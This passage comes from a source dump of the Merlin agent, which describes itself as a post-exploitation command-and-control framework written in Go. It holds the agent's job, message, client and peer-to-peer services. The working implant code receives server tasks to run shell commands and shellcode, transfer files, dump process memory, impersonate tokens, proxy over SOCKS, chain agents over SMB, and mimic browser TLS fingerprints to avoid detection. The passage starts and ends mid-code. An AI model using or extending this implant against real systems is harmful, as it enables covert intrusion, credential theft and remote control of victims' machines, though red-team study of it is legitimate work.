client.Get(\"protocol\")\n\tswitch strings.ToLower(proto) {\n\tcase \"udp-bind\":\n\t\terr = client.Set(\"bind\", \"\")\n\tdefault:\n\t\terr = fmt.Errorf(\"services/client.Reset(): protocol %s not supported\", proto)\n\t}\n\treturn\n}\n\n// Send takes in a Base message and uses the Agent's Client to send it to the Merlin server or parent Agent\nfunc (s *Service) Send(msg messages.Base) ([]messages.Base, error) {\n\treturn s.ClientRepo.Get().Send(msg)\n}\n\n// SetJA3 updates the HTTP client's JA3 signature to the provided value\nfunc (s *Service) SetJA3(ja3 string) error {\n\treturn s.ClientRepo.SetJA3(ja3)\n}\n\n// SetListener updates the listener ID used with peer-to-peer clients\nfunc (s *Service) SetListener(listener string) error {\n\treturn s.ClientRepo.SetListener(listener)\n}\n\n// SetPadding updates the maximum amount of random padding added to each Base message\nfunc (s *Service) SetPadding(padding string) error {\n\treturn s.ClientRepo.SetPadding(padding)\n}\n\n// SetParrot updates the HTTP client's configuration to parrot the provided browser\nfunc (s *Service) SetParrot(parrot string) error {\n\treturn s.ClientRepo.SetParrot(parrot)\n}\n\n// Synchronous returns if the client doesn't sleep (synchronous) or if it does sleep (asynchronous)\nfunc (s *Service) Synchronous() bool {\n\treturn s.ClientRepo.Get().Synchronous()\n}\n"
  },
  {
    "path": "services/job/job.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package job is a service to consume, process, and return Agent jobs\npackage job\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/commands\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/agent\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/client\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/socks\"\n)\n\n// Service is the structure used to interact with job objects\ntype Service struct {\n\tAgent         uuid.UUID\n\tAgentService  *agent.Service\n\tClientService *client.Service\n}\n\n// memoryService is an in-memory instantiation of the job service\nvar memoryService *Service\n\n// in is a channel of incoming or input jobs for the agent to handle\nvar in = make(chan jobs.Job, 100)\n\n// out is a channel of outgoing job results for the agent to send back to the server\nvar out = make(chan jobs.Job, 100)\n\nfunc init() {\n\t// Start go routine that checks for jobs or tasks to execute\n\tgo execute()\n}\n\n// NewJobService is the factory to create a new service for handling Jobs\nfunc NewJobService(agentID uuid.UUID) *Service {\n\tif memoryService == nil {\n\t\tmemoryService = &Service{\n\t\t\tAgent:         agentID,\n\t\t\tAgentService:  agent.NewAgentService(),\n\t\t\tClientService: client.NewClientService(),\n\t\t}\n\t}\n\treturn memoryService\n}\n\n// AddResult creates a Job Results structure and places it in the outgoing channel\nfunc (s *Service) AddResult(agent uuid.UUID, stdOut, stdErr string) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/job.AddResult(): entering into function with agent: %s, stdOut: %s, stdErr: %s\", agent, stdOut, stdErr))\n\tresult := jobs.Results{\n\t\tStdout: stdOut,\n\t\tStderr: stdErr,\n\t}\n\tjob := jobs.Job{\n\t\tAgentID: agent,\n\t\tType:    jobs.RESULT,\n\t\tPayload: result,\n\t}\n\tout <- job\n}\n\n// Get blocks waiting for a job from the out channel\nfunc (s *Service) Get() []jobs.Job {\n\tcli.Message(cli.DEBUG, \"services/job.Get(): entering into function\")\n\tjob := <-out\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/job.Check(): leaving function with: %+v\", job))\n\treturn []jobs.Job{job}\n}\n\n// Check does not block and returns any jobs ready to be returned to the Merlin server\nfunc (s *Service) Check() (returnJobs []jobs.Job) {\n\tcli.Message(cli.DEBUG, \"services/job.Check(): entering into function\")\n\t// Check the output channel\n\tfor {\n\t\tif len(out) > 0 {\n\t\t\tjob := <-out\n\t\t\treturnJobs = append(returnJobs, job)\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/job.Check(): Leaving function with %+v\", returnJobs))\n\treturn returnJobs\n}\n\n// Control handles jobs that have the CONTROL type used to configure the Agent or the network communication client\nfunc (s *Service) Control(job jobs.Job) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/job.Control(): entering into function with %+v\", job))\n\tcmd := job.Payload.(jobs.Command)\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Received Agent Control Message: %s\", cmd.Command))\n\tvar results jobs.Results\n\tswitch strings.ToLower(cmd.Command) {\n\tcase \"agentinfo\":\n\t\t// No action required; End of function gets and returns an Agent information structure\n\tcase \"connect\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the \\\"connect\\\" command requires 1 argument, the new address, but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\t// Instruct the Agent to connect to the provided target\n\t\terr := s.ClientService.Connect(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error changing the client's connection address: %s\", err)\n\t\t}\n\tcase \"exit\":\n\t\tos.Exit(0)\n\tcase \"initialize\":\n\t\tcli.Message(cli.NOTE, \"Received agent re-initialize message\")\n\t\ts.AgentService.SetAuthenticated(false)\n\tcase \"ja3\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the ja3 control command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\terr := s.ClientService.SetJA3(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error setting the client's JA3 string:\\r\\n%s\", err.Error())\n\t\t}\n\tcase \"killdate\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the killdate control command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\td, err := strconv.Atoi(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error converting the kill date to an integer: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\ts.AgentService.SetKillDate(int64(d))\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Set Kill Date to: %s\", time.Unix(int64(d), 0).UTC().Format(time.RFC3339)))\n\tcase \"listener\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the listener control command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\terr := s.ClientService.SetListener(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error changing the Agent's listener ID: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Changing the Agent's Listener ID to %s\", cmd.Args[0]))\n\tcase \"maxretry\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the maxretry control command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\tt, err := strconv.Atoi(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"There was an error changing the agent max retries: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\ts.AgentService.SetMaxRetry(t)\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent max retries to %d\", t))\n\tcase \"padding\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the padding control command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\terr := s.ClientService.SetPadding(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error changing the agent message padding size: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent message maximum padding size to %s\", cmd.Args[0]))\n\tcase \"parrot\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the parrot command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\terr := s.ClientService.SetParrot(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error setting the HTTP client's parrot value: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent HTTP client parrot value to %s\", cmd.Args[0]))\n\tcase \"reset\":\n\t\t// Reset, or unlink, the client's listener\n\t\terr := s.ClientService.Reset()\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error resetting the client's listener:%s\", err)\n\t\t\tout <- jobs.Job{\n\t\t\t\tID:      job.ID,\n\t\t\t\tAgentID: s.Agent,\n\t\t\t\tToken:   job.Token,\n\t\t\t\tType:    jobs.RESULT,\n\t\t\t\tPayload: results,\n\t\t\t}\n\t\t}\n\t\treturn\n\tcase \"skew\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the skew control command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\tt, err := strconv.ParseInt(cmd.Args[0], 10, 64)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error changing the agent skew interval: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\ts.AgentService.SetSkew(t)\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent skew interval to %d\", t))\n\tcase \"sleep\":\n\t\tif len(cmd.Args) < 1 {\n\t\t\tresults.Stderr = fmt.Sprintf(\"the skew control command requires 1 argument but received %d\", len(cmd.Args))\n\t\t\tbreak\n\t\t}\n\t\tt, err := time.ParseDuration(cmd.Args[0])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error changing the agent waitTime: %s\", err)\n\t\t\tbreak\n\t\t}\n\t\ts.AgentService.SetSleep(t)\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Setting agent sleep time to %s\", cmd.Args[0]))\n\tdefault:\n\t\tresults.Stderr = fmt.Sprintf(\"%s is not a valid AgentControl message type.\", cmd.Command)\n\t}\n\n\t// Add the result message to the job queue\n\t// Only one job using the token can be returned, so it is either an error message or the AgentInfo structure\n\tif results.Stderr != \"\" {\n\t\tout <- jobs.Job{\n\t\t\tID:      job.ID,\n\t\t\tAgentID: s.Agent,\n\t\t\tToken:   job.Token,\n\t\t\tType:    jobs.RESULT,\n\t\t\tPayload: results,\n\t\t}\n\t\treturn\n\t}\n\n\tif results.Stderr != \"\" {\n\t\tcli.Message(cli.WARN, results.Stderr)\n\t}\n\tif results.Stdout != \"\" {\n\t\tcli.Message(cli.SUCCESS, results.Stdout)\n\t}\n\n\taInfo := jobs.Job{\n\t\tID:      job.ID,\n\t\tAgentID: s.Agent,\n\t\tToken:   job.Token,\n\t\tType:    jobs.AGENTINFO,\n\t}\n\taInfo.Payload = s.AgentService.AgentInfo()\n\tout <- aInfo\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/job.Control(): leaving function with %+v\", aInfo))\n}\n\n// Handle takes a list of jobs and places them into a job channel if they are a valid type, so they can be executed\nfunc (s *Service) Handle(Jobs []jobs.Job) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/job.Handle(): entering into function with %+v\", Jobs))\n\tfor _, job := range Jobs {\n\t\t// If the job belongs to this agent\n\t\tif job.AgentID == s.Agent {\n\t\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"%s job type received!\", job.Type))\n\t\t\tswitch job.Type {\n\t\t\tcase jobs.FILETRANSFER:\n\t\t\t\tin <- job\n\t\t\tcase jobs.CONTROL:\n\t\t\t\ts.Control(job)\n\t\t\tcase jobs.CMD:\n\t\t\t\tin <- job\n\t\t\tcase jobs.MODULE:\n\t\t\t\tin <- job\n\t\t\tcase jobs.SHELLCODE:\n\t\t\t\tcli.Message(cli.NOTE, \"Received Execute shellcode command\")\n\t\t\t\tin <- job\n\t\t\tcase jobs.NATIVE:\n\t\t\t\tin <- job\n\t\t\t// When AgentInfo or Result messages fail to send, they will circle back through the handler\n\t\t\tcase jobs.AGENTINFO:\n\t\t\t\tout <- job\n\t\t\tcase jobs.RESULT:\n\t\t\t\tout <- job\n\t\t\tcase jobs.SOCKS:\n\t\t\t\tsocks.Handler(job, &out)\n\t\t\tdefault:\n\t\t\t\tvar result jobs.Results\n\t\t\t\tresult.Stderr = fmt.Sprintf(\"%s is not a valid job type\", job.Type)\n\t\t\t\tout <- jobs.Job{\n\t\t\t\t\tID:      job.ID,\n\t\t\t\t\tAgentID: s.Agent,\n\t\t\t\t\tToken:   job.Token,\n\t\t\t\t\tType:    jobs.RESULT,\n\t\t\t\t\tPayload: result,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tcli.Message(cli.DEBUG, \"services/job.Handle(): leaving function\")\n}\n\n// execute is executed a go routine that regularly checks for jobs from the in channel, executes them, and returns results to the out channel\nfunc execute() {\n\tfor {\n\t\tvar result jobs.Results\n\t\tjob := <-in\n\t\t// Need a go routine here so that way a job or command doesn't block\n\t\tgo func(job jobs.Job) {\n\t\t\tswitch job.Type {\n\t\t\tcase jobs.CMD:\n\t\t\t\tresult = commands.ExecuteCommand(job.Payload.(jobs.Command))\n\t\t\tcase jobs.FILETRANSFER:\n\t\t\t\tif job.Payload.(jobs.FileTransfer).IsDownload {\n\t\t\t\t\tresult = commands.Download(job.Payload.(jobs.FileTransfer))\n\t\t\t\t} else {\n\t\t\t\t\tft, err := commands.Upload(job.Payload.(jobs.FileTransfer))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tresult.Stderr = err.Error()\n\t\t\t\t\t}\n\t\t\t\t\tout <- jobs.Job{\n\t\t\t\t\t\tAgentID: job.AgentID,\n\t\t\t\t\t\tID:      job.ID,\n\t\t\t\t\t\tToken:   job.Token,\n\t\t\t\t\t\tType:    jobs.FILETRANSFER,\n\t\t\t\t\t\tPayload: ft,\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase jobs.MODULE:\n\t\t\t\tswitch strings.ToLower(job.Payload.(jobs.Command).Command) {\n\t\t\t\tcase \"clr\":\n\t\t\t\t\tresult = commands.CLR(job.Payload.(jobs.Command))\n\t\t\t\tcase \"createprocess\":\n\t\t\t\t\tresult = commands.CreateProcess(job.Payload.(jobs.Command))\n\t\t\t\tcase \"link\":\n\t\t\t\t\tresult = commands.Link(job.Payload.(jobs.Command))\n\t\t\t\tcase \"listener\":\n\t\t\t\t\tresult = commands.Listener(job.Payload.(jobs.Command))\n\t\t\t\tcase \"memfd\":\n\t\t\t\t\tresult = commands.Memfd(job.Payload.(jobs.Command))\n\t\t\t\tcase \"memory\":\n\t\t\t\t\tresult = commands.Memory(job.Payload.(jobs.Command))\n\t\t\t\tcase \"minidump\":\n\t\t\t\t\tft, err := commands.MiniDump(job.Payload.(jobs.Command))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tresult.Stderr = err.Error()\n\t\t\t\t\t}\n\t\t\t\t\tout <- jobs.Job{\n\t\t\t\t\t\tAgentID: job.AgentID,\n\t\t\t\t\t\tID:      job.ID,\n\t\t\t\t\t\tToken:   job.Token,\n\t\t\t\t\t\tType:    jobs.FILETRANSFER,\n\t\t\t\t\t\tPayload: ft,\n\t\t\t\t\t}\n\t\t\t\tcase \"netstat\":\n\t\t\t\t\tresult = commands.Netstat(job.Payload.(jobs.Command))\n\t\t\t\tcase \"runas\":\n\t\t\t\t\tresult = commands.RunAs(job.Payload.(jobs.Command))\n\t\t\t\tcase \"pipes\":\n\t\t\t\t\tresult = commands.Pipes()\n\t\t\t\tcase \"ps\":\n\t\t\t\t\tresult = commands.PS()\n\t\t\t\tcase \"ssh\":\n\t\t\t\t\tresult = commands.SSH(job.Payload.(jobs.Command))\n\t\t\t\tcase \"unlink\":\n\t\t\t\t\tresult = commands.Unlink(job.Payload.(jobs.Command))\n\t\t\t\tcase \"uptime\":\n\t\t\t\t\tresult = commands.Uptime()\n\t\t\t\tcase \"token\":\n\t\t\t\t\tresult = commands.Token(job.Payload.(jobs.Command))\n\t\t\t\tdefault:\n\t\t\t\t\tresult.Stderr = fmt.Sprintf(\"unknown module command: %s\", job.Payload.(jobs.Command).Command)\n\t\t\t\t}\n\t\t\tcase jobs.NATIVE:\n\t\t\t\tresult = commands.Native(job.Payload.(jobs.Command))\n\t\t\tcase jobs.SHELLCODE:\n\t\t\t\tresult = commands.ExecuteShellcode(job.Payload.(jobs.Shellcode))\n\t\t\tcase jobs.SOCKS:\n\t\t\t\tsocks.Handler(job, &out)\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tresult.Stderr = fmt.Sprintf(\"Invalid job type: %d\", job.Type)\n\t\t\t}\n\t\t\tout <- jobs.Job{\n\t\t\t\tAgentID: job.AgentID,\n\t\t\t\tID:      job.ID,\n\t\t\t\tToken:   job.Token,\n\t\t\t\tType:    jobs.RESULT,\n\t\t\t\tPayload: result,\n\t\t\t}\n\t\t}(job)\n\t}\n}\n"
  },
  {
    "path": "services/message/message.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package message is a service to process and return Agent Base messages\npackage message\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/client\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/job\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/p2p\"\n)\n\n// Service is the structure used to interact with message objects\ntype Service struct {\n\tAgent         uuid.UUID\n\tClientService *client.Service\n\tP2PService    *p2p.Service\n\tJobService    *job.Service\n}\n\n// memoryService is an in-memory instantiation of the message service\nvar memoryService *Service\n\n// out is a channel of outgoing Base messages for the agent to send back to the server\nvar out = make(chan messages.Base, 100)\n\n// NewMessageService is the factory to create a new service for handling base messages\nfunc NewMessageService(agent uuid.UUID) *Service {\n\tif memoryService == nil {\n\t\tmemoryService = &Service{\n\t\t\tAgent:         agent,\n\t\t\tClientService: client.NewClientService(),\n\t\t\tP2PService:    p2p.NewP2PService(),\n\t\t\tJobService:    job.NewJobService(agent),\n\t\t}\n\t}\n\treturn memoryService\n}\n\n// Check does not block but looks to see if there are any jobs or delegates that need to be returned to the Merlin server\nfunc (s *Service) Check() (msg messages.Base) {\n\tcli.Message(cli.DEBUG, \"services/message.Check(): entering into function\")\n\tmsg.ID = s.Agent\n\t// Check to see if there are any Jobs to be returned to the Merlin server\n\treturnJobs := s.JobService.Check()\n\tif len(returnJobs) > 0 {\n\t\tmsg.Type = messages.JOBS\n\t\tmsg.Payload = returnJobs\n\t} else {\n\t\tmsg.Type = messages.CHECKIN\n\t}\n\n\t// Check to see if there are any Delegate messages from a child Agent that need to be returned to the Merlin server\n\tdelegates := s.P2PService.Check()\n\tif len(delegates) > 0 {\n\t\tmsg.Delegates = delegates\n\t}\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/message.Check(): leaving function with %+v\", msg))\n\treturn\n}\n\n// Get blocks until there is a return base message to send back to the Merlin server\nfunc (s *Service) Get() (msg messages.Base) {\n\tcli.Message(cli.DEBUG, \"services/message.Get(): entering into function\")\n\tmsg = <-out\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/message.Get(): leaving function with %+v\", msg))\n\treturn\n}\n\n// GetDelegates blocks waiting for a delegate message that needs to be returned to the Merlin server and adds it to the\n// out channel as a Base message type of CHECKIN because it will not be aggregated with other return message types.\n// Used when the Agent doesn't sleep and only communicates when there is a message to send\nfunc (s *Service) GetDelegates() {\n\tcli.Message(cli.DEBUG, \"services/message.getDelegates(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, \"services/message.getDelegates(): leaving function\")\n\tfor {\n\t\tmsg := messages.Base{\n\t\t\tID:      s.Agent,\n\t\t\tType:    messages.CHECKIN,\n\t\t\tPayload: nil,\n\t\t}\n\t\tmsg.Delegates = s.P2PService.GetDelegates()\n\t\tout <- msg\n\t}\n}\n\n// GetJobs blocks waiting for a return job to exist, adds it to a Base message, and adds it to the out channel.\n// Used when the Agent doesn't sleep and only communicates when there is a message to send\nfunc (s *Service) GetJobs() {\n\tcli.Message(cli.DEBUG, \"services/message.getJobs(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, \"services/message.getJobs(): leaving function\")\n\tfor {\n\t\tmsg := messages.Base{\n\t\t\tID:   s.Agent,\n\t\t\tType: messages.JOBS,\n\t\t}\n\t\tmsg.Payload = s.JobService.Get()\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/message.getJobs(): added message Base to outgoing message channel: %+v\\n\", msg))\n\t\tout <- msg\n\t}\n}\n\n// Handle processes incoming Base messages for this Agent\nfunc (s *Service) Handle(msg messages.Base) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/messages.Handle(): Entering into function with: %+v\", msg))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"services/messages.Handle(): Leaving function with error: %+v\", err))\n\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"%s message type received!\", msg.Type))\n\n\tif msg.ID != s.Agent {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"Input message was not for this agent (%s):\\n%+v\", s.Agent, msg))\n\t}\n\n\tswitch msg.Type {\n\tcase messages.IDLE:\n\t\tcli.Message(cli.NOTE, \"Received idle command, doing nothing\")\n\tcase messages.JOBS:\n\t\ts.JobService.Handle(msg.Payload.([]jobs.Job))\n\tcase messages.OPAQUE:\n\t\terr = s.ClientService.Authenticate(msg)\n\t\tif err != nil {\n\t\t\ts.JobService.AddResult(s.Agent, \"\", err.Error())\n\t\t\treturn\n\t\t}\n\tcase messages.CHECKIN:\n\t\t// Used when the Agent needs to force a checkin with the server by creating and sending a Checkin message\n\t\tout <- msg\n\tdefault:\n\t\tstdErr := fmt.Sprintf(\"%s is not a valid message type\", msg.Type)\n\t\ts.JobService.AddResult(s.Agent, \"\", stdErr)\n\t}\n\n\t// If there are any Delegate messages, send them to the Handler\n\tif len(msg.Delegates) > 0 {\n\t\t// Use a go routine so that P2P functions don't block the Agent from continuing\n\t\tgo s.P2PService.Handle(msg.Delegates)\n\t}\n\treturn\n}\n\n// Store adds a Base message to the out channel to be sent back to the Merlin server\n// Used when there is an error sending a message, and it needs to be preserved\nfunc (s *Service) Store(msg messages.Base) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/messages.Store(): Entering into function with: %+v\", msg))\n\tdefer cli.Message(cli.DEBUG, \"services/messages.Store(): Leaving function...\")\n\tout <- msg\n}\n"
  },
  {
    "path": "services/p2p/p2p.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package p2p is a service to process and return peer-to-peer connection links and delegate messages\npackage p2p\n\nimport (\n\t// Standard\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\t\"net\"\n\t\"syscall\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/p2p\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/p2p/memory\"\n)\n\n// Service is the structure used to interact with Link and Delegate objects\ntype Service struct {\n\trepo p2p.Repository\n}\n\n// memoryService is an in-memory instantiation of the message service\nvar memoryService *Service\n\n// out a global map of Delegate messages that are outgoing from this Agent to its parent or the server\nvar out = make(chan messages.Delegate, 100)\n\n// NewP2PService is a factory to create a Service object for interacting with Link and Delegate message objects\nfunc NewP2PService() *Service {\n\tif memoryService == nil {\n\t\tmemoryService = &Service{\n\t\t\trepo: withP2PMemoryRepository(),\n\t\t}\n\t}\n\treturn memoryService\n}\n\n// withP2PMemoryRepository creates and returns a repository for peer-to-peer links\nfunc withP2PMemoryRepository() p2p.Repository {\n\treturn memory.NewRepository()\n}\n\n// AddDelegate takes the provided delegate message and adds it to outgoing message channel to be sent to the Merlin server\nfunc (s *Service) AddDelegate(delegate messages.Delegate) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.AddDelegate(): entering into function with delegate message for %s, payload size: %d, delegate messages: %d\", delegate.Agent, len(delegate.Payload), len(delegate.Delegates)))\n\tdefer cli.Message(cli.DEBUG, \"services/p2p.AddDelegate(): exiting function\")\n\tout <- delegate\n}\n\n// AddLink stores a Link object in the repository\nfunc (s *Service) AddLink(link *p2p.Link) {\n\ts.repo.Store(link)\n}\n\n// Connected determines if this Agent is already connected to the target IP address and port and returns it if it is\nfunc (s *Service) Connected(agentType int, ip string) (*p2p.Link, bool) {\n\tlinks := s.repo.GetAll()\n\tfor _, link := range links {\n\t\tif link.Type() == agentType && link.Remote().String() == ip {\n\t\t\treturn link, true\n\t\t}\n\t}\n\treturn nil, false\n}\n\n// Delete removes the peer-to-peer link from the repository without trying to gracefully close the connection\nfunc (s *Service) Delete(id uuid.UUID) {\n\ts.repo.Delete(id)\n}\n\n// GetLink finds the Link by the provided id from the repository and returns it\nfunc (s *Service) GetLink(id uuid.UUID) (*p2p.Link, error) {\n\treturn s.repo.Get(id)\n}\n\n// GetDelegates blocks waiting for a delegate message that needs to be sent to the parent Agent\nfunc (s *Service) GetDelegates() []messages.Delegate {\n\tdelegate := <-out\n\treturn []messages.Delegate{delegate}\n}\n\n// Check does not block and returns all delegate messages in the out channel, if any\nfunc (s *Service) Check() (delegates []messages.Delegate) {\n\tfor {\n\t\tif len(out) > 0 {\n\t\t\tdelegate := <-out\n\t\t\tdelegates = append(delegates, delegate)\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn\n}\n\n// Handle takes in a list of incoming Delegate messages to this parent Agent and sends it to the child or linked Agent\nfunc (s *Service) Handle(delegates []messages.Delegate) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): entering into function with %d delegate messages\", len(delegates)))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): exiting function\"))\n\n\tfor _, delegate := range delegates {\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"services/p2p.Handle(): processing delegate message for %s, payload size: %d, delegate messages: %d\", delegate.Agent, len(delegate.Payload), len(delegate.Delegates)))\n\t\tlink, err := s.repo.Get(delegate.Agent)\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, err.Error())\n\t\t\tcontinue\n\t\t}\n\t\t// Lock the link so other go routines don't try to write to it at the same time causing the child to receive packets out of order\n\t\tlink.Lock()\n\n\t\t// Tag/Type, Length, Value (TLV)\n\t\t// Determine the message type, which is static right now\n\t\t// uint is 32-bits (4 bytes)\n\t\ttag := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(tag, uint32(1))\n\t\t// Going for uint64 (8 bytes)\n\t\tlength := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(length, uint64(len(delegate.Payload)))\n\t\t// Prepend the data length\n\t\tdelegate.Payload = append(length, delegate.Payload...)\n\t\t// Prepend the data type/tag\n\t\tdelegate.Payload = append(tag, delegate.Payload...)\n\n\t\tvar n int\n\t\tsleep := time.Millisecond * 30\n\n\t\tswitch link.Type() {\n\t\tcase p2p.SMBBIND, p2p.SMBREVERSE:\n\t\t\t// Split into fragments of MaxSize\n\t\t\tfragments := int(math.Ceil(float64(len(delegate.Payload)) / 